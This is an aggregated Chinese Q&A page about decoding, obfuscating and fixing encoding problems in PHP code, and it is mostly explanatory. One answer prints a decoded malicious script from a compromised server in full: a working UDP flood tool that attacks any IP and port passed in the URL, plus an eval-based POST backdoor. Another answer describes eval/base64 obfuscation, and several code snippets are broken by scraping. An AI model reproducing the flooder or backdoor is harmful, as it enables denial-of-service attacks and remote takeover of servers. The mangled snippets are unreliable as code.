导航:首页 > 编程语言 > php代码解码

php代码解码

发布时间:2022-12-30 12:25:26

1. 求php解码,感激不尽

立即扔,求我要都我都不要。

运行效率为负值。严重占CPU,空间商绝对会封你的站。
------------------------
有何意义?
这样的程序没有运行效率。真正不影响运行的PHP代码加密是Zend公司自己开发的Zend Guard加密,将PHP加密成为C扩展。直接运行。而你写的这些代码其实就是字符串的加密而已,然后使用eval函数来进行执行的,eval函数一般都是慎用的。

你粘贴这些处理一般人是无法知道他的解码的,而且关键是这个程序的效率根本就是负值。

很多菜鸟PHP程序员最喜欢用这样的去糊弄客户。

======================
代码编写者知道解码方法。

2. 什么是PHP编码

PHP程序设计中中文编码问题曾经困扰很多人,导致这个问题的原因其实很简单,每个国家(或区域)都规定了计算机信息交换用的字符编码集,如美国的扩展ASCII码,中国的GB2312-80,日本的JIS等。作为该国家/区域内信息处理的基础,字符编码集起着统一编码的重要作用。字符编码集按长度分为SBCS(单字节字符集),DBCS(双字节字符集)两大类。早期的软件(尤其是操作系统),为了解决本地字符信息的计算机处理,出现了各种本地化版本(L10N),为了区分,引进了LANG,Codepage等概念。但是由于各个本地字符集代码范围重叠,相互间信息交换困难;软件各个本地化版本独立维护成本较高。因此有必要将本地化工作中的共性抽取出来,作一致处理,将特别的本地化处理内容降低到最少。这也就是所谓的国际化(118N)。各种语言信息被进一步规范为Locale信息。处理的底层字符集变成了几乎包含了所有字形的 Unicode。

现在大部分具有国际化特征的软件核心字符处理都是以Unicode为基础的,在软件运行时根据当时的ocale/Lang /Codepage设置确定相应的本地字符编码设置,并依此处理本地字符。在处理过程中需要实现Unicode和本地字符集的相互转换,甚或以 Unicode为中间的两个不同本地字符集的相互转换。这种方式在网络环境下被进一步延伸,任何网络两端的字符信息也需要根据字符集的设置转换成可接受的内容。

数据库中的字符集编码问题

流行的关系数据库系统都支持数据库字符集编码,也就是说在创建数据库时可以指定它自己的字符集设置,数据库的数据以指定的编码形式存储。当应用程序访问数据时,在入口和出口处都会有字符集编码的转换。对于中文数据,数据库字符编码的设置应当保证数据的完整性。GB2312、GBK、UTF-8等都是可选的数据库字符集编码;当然我们也可以选择ISO8859-1(8-bit),只是我们得在应

用程序写数据之前先将16Bit的一个汉字或Unicode拆分成两个8-bit的字符,读数据之后也需要将两个字节合并起来,同时还要判别其中的SBCS 字符,因此我们并不推荐采用ISO8859-1作为数据库字符集编码。这样不但没有充分利用数据库自身的字符集编码支持,而且同时也增加了编程的复杂度。编程时,可以先用数据库管理系统提供的管理功能检查其中的中文数据是否正确。

PHP程序在查询数据库之前,首先执行 mysql_query("SETNAMESxxxx");其中xxxx是你网页的编码(charset=xxxx),如果网页中 charset=utf8,则xxxx=utf8,如果网页中charset=gb2312,则xxxx=gb2312,几乎所有WEB程序,都有一段连接数据库的公共代码,放在一个文件里,在这文件里,加入mysql_query("SETNAMESxxxx")就可以了。

SETNAMES 显示客户端发送的SQL语句中使用什么字符集。因此,SETNAMES'utf-8'语句告诉服务器“将来从这个客户端传来的信息采用字符集utf- 8”。它还为服务器发送回客户端的结果指定了字符集(例如,如果你使用一个SELECT语句,它表示列值使用了什么字符集)。

定位问题时常用的技巧

定位中文编码问题通常采用最笨的也是最有效的办法―在你认为有嫌疑的程序处理后打印字符串的内码。通过打印字符串的内码,你可以发现什么时候中文字符被转换成Unicode,什么时候Unicode被转回中文内码,什么时候一个中文字成了两个Unicode字符,什么时候中文字符串被转成了一串问号,什么时候中文字符串的高位被截掉了……

取用合适的样本字符串也有助于区分问题的类型。如:"aa啊aa?@aa"等中英相间,GB、GBK特征字符均有的字符串。一般来说,英文字符无论怎么转换或处理,都不会失真(如果遇到了,可以尝试着增加连续的英文字母长度)。

解决各种应用的乱码问题

1)使用标签设置页面编码

这个标签的作用是声明客户端的浏览器用什么字符集编码显示该页面,xxx可以为GB2312、GBK、UTF-8(和MySQL不同,MySQL是 UTF8)等等。因此,大部分页面可以采用这种方式来告诉浏览器显示这个页面的时候采用什么编码,这样才不会造成编码错误而产生乱码。但是有的时候我们会发现有了这句还是不行,不管xxx是哪一种,浏览器采用的始终都是一种编码,这个情况我后面会谈到。

请注意,是属于HTML信息的,仅仅是一个声明,仅表明服务器已经把HTML信息传到了浏览器。

2)header("content-type:text/html;charset=xxx");

这个函数header()的作用是把括号里面的信息发到http标头。如果括号里面的内容为文中所说那样,那作用和标签基本相同,大家对照第一个看发现字符都差不多的。但是不同的是如果有这段函数,浏览器就会永远采用你所要求的xxx编码,绝对不会不听话,因此这个函数是很有用的。为什么会这样呢?那就得说说http标头和HTML信息的差别了:

http标头是服务器以http协议传送HTML信息到浏览器前所送出的字串。而标签是属于 HTML信息的,所以header()发送的内容先到达浏览器,通俗点就是header()的优先级高于(不知道可不可以这样讲)。假如一个php页面既有header("content-type:text/html;charset=xxx"),又有,浏览器就只认前者http标头而不认meta了。当然这个函数只能在php页面内使用。

同样也留有一个问题,为什么前者就绝对起作用,而后者有时候就不行呢?这就是接下来要谈的Apache的原因了。

3)AddDefaultCharset

Apache根目录的conf文件夹里,有整个Apache的配置文档httpd.conf。

用文本编辑器打开httpd.conf,第708行(不同版本可能不同)有AddDefaultCharsetxxx,xxx为编码名称。这行代码的意思:设置整个服务器内的网页文件http标头里的字符集为你默认的xxx字符集。有这行,就相当于给每个文件都加了一行header("content- type:text/html;charset=xxx")。这下就明白为什么明明设置了是utf-8,可浏览器始终采用gb2312的原因。

如果网页里有header("content-type:text/html;charset=xxx"),就把默认的字符集改为你设置的字符集,所以这个函数永远有用。如果把AddDefaultCharsetxxx前面加个"#",注释掉这句,而且页面里不含header("content- type…"),那这个时候就轮到meta标签起作用了。

下面列出以上的优先顺序:

..header("content-type:text/html;charset=xxx")

..AddDefaultCharsetxxx

..

如果你是web程序员,建议给你的每个页面都加个header("content-type:text/html;charset=xxx"),这样就可以保证它在任何服务器都能正确显示,可移植性也比较强。

4)php.ini中的default_charset配置:

php.ini中的default_charset="gb2312"定义了php的默认语言字符集。一般推荐注释掉此行,让浏览器根据网页头中的charset来自动选择语言而非做一个强制性的规定,这样就可以在同台服务器上提供多种语言的网页服务。

结束语 参考:http://wsiyu.com/read.php?tid=1561

其实php开发中的中文编码并没有想象的那么复杂,虽然定位和解决问题没有定规,各种运行环境也各不尽然,但后面的原理是一样的。了解字符集的知识是解决字符问题的基础。不过,随着中文字符集的变化,不仅仅是php编程,中文信息处理中的问题还是会存在一段时间的。

3. PHP解码url编码问题

用php函数进行转换。iconv 或mb_convert_encoding

4. php源码怎么加密

一、无需任何PHP扩展的加密

此类加密的代表有 威盾PHP加密专家、PHP在线加密平台、PHP神盾 等。

此类加密都是以eval函数为核心,辅以各式各样的字符串混淆和各种小技巧,来达到加密目的(更准确的说,应该算是混淆)。下面以一个简单的hello world为例来说明此类加密的大体过程。

<?php

echo "hello world";

首先 ,我们把这段代码变为通过eval执行的

<?php

eval('echo "hello world";');

然后 ,我们再进行一些转换,比如说base64编码

<?php

eval(base64_decode('ZWNobyAiaGVsbG8gd29ybGQiOw=='));

就这样子,我们的第一个加密过的php代码新鲜出炉了。。。

上面这个例子非常非常简单,基本上任何有一点php语言基础甚至别的语言基础的人都能轻松的看懂并解密。因此,我们需要一些方法让这个加密至少看上去不是那么简单。

二、同时采用多种编码函数

除了刚才提到的base64,php还有许多内置的编码函数,例如urlencode、gzcompress等。把这些函数混合使用可以提高解密的复杂度(不是难度),此外还可以使用strtr来制定自己的编码规则。 使用变量来代替函数名 使用特定字符来命名变量

这儿所说的特定字符是一些极其相似的字符,如I和1,0和O。试想一下满屏都是O和0组成的变量,并且每一个的名字长度都在10个字符以上。。。 判断文件自身是否被修改

这个功能看似容易,对文件做一下摘要再进行下对比即可知道是否被修改了,但是如何才能在文件内把摘要嵌入进去呢?我没有找到完美的方案,但一个变通的方案还是很容易的。。。

<?php

$code = substr(file_get_contents(__FILE__), 0, -32);

$hash = substr(file_get_contents(__FILE__), -32);

if (md5($code) !== $hash) {

exit('file edited');

}

当然,你可以把这个校验字符串放在别的位置来提高破解的难度。有了这个,别人想破解你的程序可就得多费一点功夫了。。。

既然知道了原理,那解密自然也就非常简单了,总体来说就三步:

把eval替换为输出,比如echo 根据编码规则把字符串还原 如果文件未解密完全,从第一步开始继续

当然,实际上的解密过程并没有这么简单,比如说如果加密的时候使用了gzcompress,那得到的数据将会包含一些二进制数据,而采用一般的文本编辑器打开时这些数据都会显示为乱码,并且在保存时丢失部分数据。解决方法很简单也很麻烦,那就是使用二进制(16进制)方式打开、修改和保存。

5. 解密-php文件$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%

urldecode是地址栏编码方式,就是用百分号加上每个字符的十六进制值。解码很简单,可以使用javascript的unescape()来解码。如:

alert(unescape("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70"));//解码成明文再弹出来显示。

在你提问的PHP代码中也可以直接在后面加一句输出显示的代码即可看到解码后的内容:

echo$O00OO0;

6. php怎么对已编码的url字符串进行解码

如果直接使用base64_encode和base64_decode方法的话,生成的字符串可能不适用URL地址。下面的方法可以解决该问题:

URL安全的字符串编码:

复制代码
代码如下:

function urlsafe_b64encode($string) {
$data = base64_encode($string);
$data =
str_replace(array('+','/','='),array('-','_',''),$data);
return
$data;
}

URL安全的字符串解码:

复制代码
代码如下:

function urlsafe_b64decode($string) {
$data = str_replace(array('-','_'),array('+','/'),$string);
$mod4 =
strlen($data) % 4;
if ($mod4) {
$data .= substr('====',
$mod4);
}
return base64_decode($data);
}

7. 解密PHP混淆代码,求解码(过程)完整方法。。

不知道你给的代码全不全,解密后只有这一段
<?php

$v000000=;
if(preg_match(O0O0000O0('.'),$v000002[1],$v000003))
{
$v000000=str_replace(O0O0000O0(',,$y[0]);
$content=str_replace('),,$v000000);
$v000000=base64_decode($v000000);
}

?>

8. PHP解密 eval( base64_decode

这两个函数在php中是用得对php代码进行加密与解密码的base64_encode是加密,尔base64_decode是解密了,下面我们看两个简单实例。

base64_encode语法: string base64_decode(string data);
*/

$str='='; //定义字符串
echo base64_decode($str); //www.111cn.net一聚教程网 //输出解码后的内容/*

base64_encode语法: string base64_encode(string data);
*/

$str='www.111cn.net一聚教程网'; //定义字符串
echo base64_encode($str); // = //输出编码后的内容

看一下这个会不会对你有帮助。

9. 求解密~PHP文件中出现的一段加密代码。

代码一共被加密5次:
解密后到页面来竟然被 NOD32给报毒了 - -! 所以我把倒数第二行的 POST中的字母O改为了数字0。
这个是服务器被加了向传入ip的泛洪攻击,地址:ip,端口:port,次数:time 。
顺便还加了一个后门,post:ddos。
你服务器成肉鸡了?
下面是php代码。

?><?php

$packets = 0;
$ip = $_GET['ip'];
$rand = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);

$exec_time = $_GET['time'];

$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;

for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}

$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>
<?php eval($_P0ST[ddos])?>
<?

10. 求高手php解码 <php eval(base64_decode

说实话 这个确实比较bt 我也懒的全部搞完 分析一下
这个是有3段base64编码的字符串需要解码 前两个简单 后一个需要替换再解码再替换
第一次替换字符串 在第二段解码里面
第二次替换字符串 在第一段解码里面

第一眼看这个是跟paypal ipn有关的

首先 $str = base64_decode('');

这个会得到许多函数名 被他赋值给了一堆变量名相似的变量

这个会在后面用到

然后 base64_decode 第二段 会得到替换字符串

$s = strtr($s, '/+3=', '+/');

$s是指最后一段base64编码的字符串

然后 base64_decode($s);

oh my god
竟然是一个函数文件。。。
然后你会发现有一堆IIIIIll在里面 就用最上面那些去替换..

要想完全破解 还是 很需要一点耐心和细心的

我是没那个耐心

阅读全文

与php代码解码相关的资料

热点内容
dvd光盘存储汉子算法 浏览:757
苹果邮件无法连接服务器地址 浏览:962
phpffmpeg转码 浏览:671
长沙好玩的解压项目 浏览:144
专属学情分析报告是什么app 浏览:564
php工程部署 浏览:833
android全屏透明 浏览:736
阿里云服务器已开通怎么办 浏览:803
光遇为什么登录时服务器已满 浏览:302
PDF分析 浏览:484
h3c光纤全工半全工设置命令 浏览:143
公司法pdf下载 浏览:381
linuxmarkdown 浏览:350
华为手机怎么多选文件夹 浏览:683
如何取消命令方块指令 浏览:349
风翼app为什么进不去了 浏览:778
im4java压缩图片 浏览:362
数据查询网站源码 浏览:150
伊克塞尔文档怎么进行加密 浏览:892
app转账是什么 浏览:163